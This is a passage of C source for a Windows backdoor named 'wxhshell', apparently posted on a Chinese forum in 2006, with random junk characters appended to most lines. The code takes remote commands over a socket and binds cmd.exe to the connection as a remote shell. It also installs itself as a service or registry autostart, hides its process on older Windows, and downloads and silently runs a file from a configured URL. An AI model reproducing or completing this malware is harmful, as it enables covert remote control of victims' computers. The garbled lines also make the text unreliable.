  } ]Rye AJ3  
  else { -1:Z^&e/  
d.AjH9 jg  
    switch(cmd[0]) { Ig<p(G.;}  
  k~R[5W|'  
  // 帮助  SoX V  
  case '?': { MT`gr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @"!SU' *  
    break; Q8x{V_Pot  
  } 3~Ln:4[6ID  
  // 安装 {H V,2-z  
  case 'i': { :#}`uR,D/  
    if(Install()) !cb#fl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m3!M L>nLt  
    else $at|1+bQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^W D$ gd  
    break; CiI: uU  
    } Bs?F*,zDJ  
  // 卸载 tTH%YtG  
  case 'r': { Bx- ,"Z \  
    if(Uninstall()) P;%QA+%7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mj=|oIMwT  
    else 14!J\`rI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YSo7~^1W"  
    break; XL^N5  
    } >8fH5  
  // 显示 wxhshell 所在路径 fR4l4 GU?)  
  case 'p': { q}$=bR1+  
    char svExeFile[MAX_PATH]; J~3T8e#  
    strcpy(svExeFile,"\n\r"); Uob|Q=MQ  
      strcat(svExeFile,ExeFile); h(Ed%  
        send(wsh,svExeFile,strlen(svExeFile),0); ]Cn*C{  
    break; i8_x1=A  
    } Pki4wDCTW  
  // 重启 SRN9(LN  
  case 'b': { !`[I>:Ex  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jHlOP,kc  
    if(Boot(REBOOT)) !9xANSb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w"agn}CK  
    else { yVHlT  
    closesocket(wsh); !u4Z0!Ll  
    ExitThread(0); no NF;zT  
    } ^FM9} t/U,  
    break; |4. o$*0Y  
    } /lB0>Us  
  // 关机 19 wqDIE0  
  case 'd': { M |?p3%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @gSFvb bc  
    if(Boot(SHUTDOWN)) D4Y!,7WEVt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ClMtl59  
    else { BX(d"z b<  
    closesocket(wsh); A?D"j7JD=L  
    ExitThread(0); )^f9[5ee  
    } h2"|tTm,a  
    break; Cxk$"_  
    } _8b]o~[Z+  
  // 获取shell E)Qh]:<2v  
  case 's': { @=NVOJy}c  
    CmdShell(wsh); +GYMJK`S+  
    closesocket(wsh); Mj B< \g>  
    ExitThread(0); Uk *;C  
    break; FW)^O%2s  
  } ?FV7|)f  
  // 退出 vN,}aV2nq  
  case 'x': { hG~]~ )  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nKjeH@&#  
    CloseIt(wsh); R8[i XXjku  
    break; foz5D9sQ  
    }  9VUm=Z#`  
  // 离开 I*W9VhIOV  
  case 'q': { P10p<@?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Xh0wWU*  
    closesocket(wsh); LPapD@Z  
    WSACleanup(); \_gp50(3  
    exit(1); 762o~vY6$  
    break; F8S~wW=\w  
        } 3j+=3n,  
  } ,"N3k(g  
  } )7I.N]=  
/=muj9|+s  
  // 提示信息 lbKv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @cu}3>  
} q: Bt]2x  
  } 68p\WheCal  
I|F~HUzA"  
  return; KkdG.c'  
} JA?,0S  
Siz!/O!'  
// shell模块句柄 Bbl)3$`,  
int CmdShell(SOCKET sock) "#-Nqq  
{ ~mXZfG/D  
STARTUPINFO si; ;&+[W(7Sy  
ZeroMemory(&si,sizeof(si)); wR Xn9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *xX( !t'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'R4>CZ%jV  
PROCESS_INFORMATION ProcessInfo; t+=12{9;f  
char cmdline[]="cmd"; 6(N.T+;]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T6h;Y  
  return 0; GOYn\N;V2  
} kyW6S+#-  
^8?j~&u$F  
// 自身启动模式 #<a_: m)@  
int StartFromService(void) % ~#!NX  
{ {BFT  
typedef struct H$~M`Y9I~  
{ 2Vz'n@g=  
  DWORD ExitStatus; nB cp7e  
  DWORD PebBaseAddress; ,}9f(`  
  DWORD AffinityMask; Z:# .;wA  
  DWORD BasePriority; CS~=Z>6EjA  
  ULONG UniqueProcessId; YPF&U4CN  
  ULONG InheritedFromUniqueProcessId; ]j& FbP)3  
}   PROCESS_BASIC_INFORMATION; KI E k/]<H  
_MM   
PROCNTQSIP NtQueryInformationProcess; `fQM  
0s 860Kn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xGKfej9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IXGW2z;  
VDB$"T9#  
  HANDLE             hProcess; -'80>[}q/  
  PROCESS_BASIC_INFORMATION pbi; wn &$C0  
q<-%L1kc 1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e{,!|LhpQ  
  if(NULL == hInst ) return 0; "#*Nnt  
WwW"fkv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f"Ost;7zg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /VRUz++K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FQ+8J7  
j h; 9 [  
  if (!NtQueryInformationProcess) return 0; vGXWwQ.1Tp  
YV*b~6{d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M[A-1]'  
  if(!hProcess) return 0; joe9.{  
<\h*Zy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {5SfE$r  
LRWOBD  
  CloseHandle(hProcess); smV!y8&  
O'fk&&l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f:xUPH?+  
if(hProcess==NULL) return 0; *yrnK3  
}qG#N  
HMODULE hMod; ]K7`-p~T  
char procName[255]; HC J;&C73&  
unsigned long cbNeeded;  for {  
Z+0?yQ=%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X&s7% ]n+  
3 :UA<&=s  
  CloseHandle(hProcess); 8zAg;b [  
vEF=e  
if(strstr(procName,"services")) return 1; // 以服务启动 jA,|JgN|n  
 *. 8JP  
  return 0; // 注册表启动 eO'xkm  
} 0F^]A"kF  
u)7*Rj^  
// 主模块 e[}],W  
int StartWxhshell(LPSTR lpCmdLine) 85} ii{S  
{ C,.-Q"juH  
  SOCKET wsl; $:e)$Xnn-  
BOOL val=TRUE; x:qr\Rz  
  int port=0; mY`@'  
  struct sockaddr_in door; 9Fk4|+OJ  
/tP7uVL R  
  if(wscfg.ws_autoins) Install(); qL3@PSN?|  
[%jxf\9jJ_  
port=atoi(lpCmdLine); YwXXXh  
d5:tSO  
if(port<=0) port=wscfg.ws_port; z>|)ieL  
{ UOhVJy  
  WSADATA data; *2=W5LaK.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O ^0"  
_jmkl B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3%2jwR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UQ~4c,  
  door.sin_family = AF_INET; xorTL8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -E]Sk&4Gj  
  door.sin_port = htons(port); .gq(C9<B[  
5DOE3T`^Oc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HlPG3LD!  
closesocket(wsl); <m0{'xw  
return 1; waCboK'  
} [sj VRW-  
um[!|g/  
  if(listen(wsl,2) == INVALID_SOCKET) { MRs,l'  
closesocket(wsl); w" JGO  
return 1; ^df x~C  
} D%U:!|G  
  Wxhshell(wsl); l4 "\) ];  
  WSACleanup(); -`Q}tg>cT  
[4XC #OgA  
return 0; 9 mPIykAj8  
x@m<Ym-  
} xnbsg!`;7W  
P"F{=\V1`<  
// 以NT服务方式启动 \QT9HAdd@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?'sXgo.}  
{ CZ3].DA|z  
DWORD   status = 0; BS7J#8cu  
  DWORD   specificError = 0xfffffff; ZPyM>XK$4  
FVgMmYU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c@(1:,R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sx5r(0Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5+K;_)   
  serviceStatus.dwWin32ExitCode     = 0; %8w9E=  
  serviceStatus.dwServiceSpecificExitCode = 0; JMlV@t7y<  
  serviceStatus.dwCheckPoint       = 0; =j~Q/-`EC0  
  serviceStatus.dwWaitHint       = 0; <MdGe1n  
ia4k:\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @B`Md3$7  
  if (hServiceStatusHandle==0) return; QaQ'OrP  
\H4U8)l  
status = GetLastError(); vv.PF~:  
  if (status!=NO_ERROR) 0E6lmz`O  
{ l>&sIX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  KG8W8&q  
    serviceStatus.dwCheckPoint       = 0; =_PvrB2'  
    serviceStatus.dwWaitHint       = 0; )X5(#E  
    serviceStatus.dwWin32ExitCode     = status; 4o5i ."l  
    serviceStatus.dwServiceSpecificExitCode = specificError; /\E [  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U<Jt50O  
    return; ?`AGF%zp  
  } #$'FSy#  
vM4<d>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]V<-J   
  serviceStatus.dwCheckPoint       = 0; ssl&5AS  
  serviceStatus.dwWaitHint       = 0; /P+q}L %  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aB"xqh)a}T  
} K]fpGo  
ut &/\k=N  
// 处理NT服务事件,比如:启动、停止 9.&mz}q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $|a;~m>  
{ ^8K/xo-  
switch(fdwControl) <1@ (ioPH  
{ 9y~"|t  
case SERVICE_CONTROL_STOP: S%l:kKD  
  serviceStatus.dwWin32ExitCode = 0; [uR/M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }9&9G%  
  serviceStatus.dwCheckPoint   = 0; HI!4  
  serviceStatus.dwWaitHint     = 0; 3~%!m<1:  
  { K+),?Q ?.p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &erm`Ho  
  } 8_Z/o5s  
  return; T bf:eVIG  
case SERVICE_CONTROL_PAUSE: '*!L!VJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; keCRvlZ4  
  break; Z'M`}3O  
case SERVICE_CONTROL_CONTINUE: 8MZ$T3IM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W`L!N&fB  
  break; $sgH'/>  
case SERVICE_CONTROL_INTERROGATE: &s VadOBQ  
  break; |4C^$  
}; U5+vN[ K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vVVPw?Ww-  
} q#[`KOPV  
LwdV3vb#  
// 标准应用程序主函数 -:`V<   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3-x%wD.  
{ oNYZIk:  
)bD nbO$s_  
// 获取操作系统版本 $H*/;`,\[  
OsIsNt=GetOsVer(); Yc#IFmC}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /[pqI0sf<A  
j _ ;fWBD:  
  // 从命令行安装 I>n g`  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3 ^}A %-bS  
xsP4\C>  
  // 下载执行文件 Y &f\VNlT  
if(wscfg.ws_downexe) { Qv{,wytyO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2{oThef[O  
  WinExec(wscfg.ws_filenam,SW_HIDE); Lj 8<' "U#  
} dM]#WBOP y  
Y(VO.fVJK  
if(!OsIsNt) { jk7 0u[\  
// 如果时win9x,隐藏进程并且设置为注册表启动 qd6fU^)i  
HideProc(); /QxlGfNZ  
StartWxhshell(lpCmdLine); 4 I@p%g&  
} V|FrN*m  
else 6 /Y1 wu  
  if(StartFromService()) =G${[V \  
  // 以服务方式启动 {eHAg<+  
  StartServiceCtrlDispatcher(DispatchTable); o"+ i&Wp~  
else &Lj@9\Dh  
  // 普通方式启动 O)#U ^  
  StartWxhshell(lpCmdLine); }Dfwm)]Q  
$8 =@R'  
return 0; LU2waq}VA  
}
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只看该作者 1 发表于: 2006-10-10
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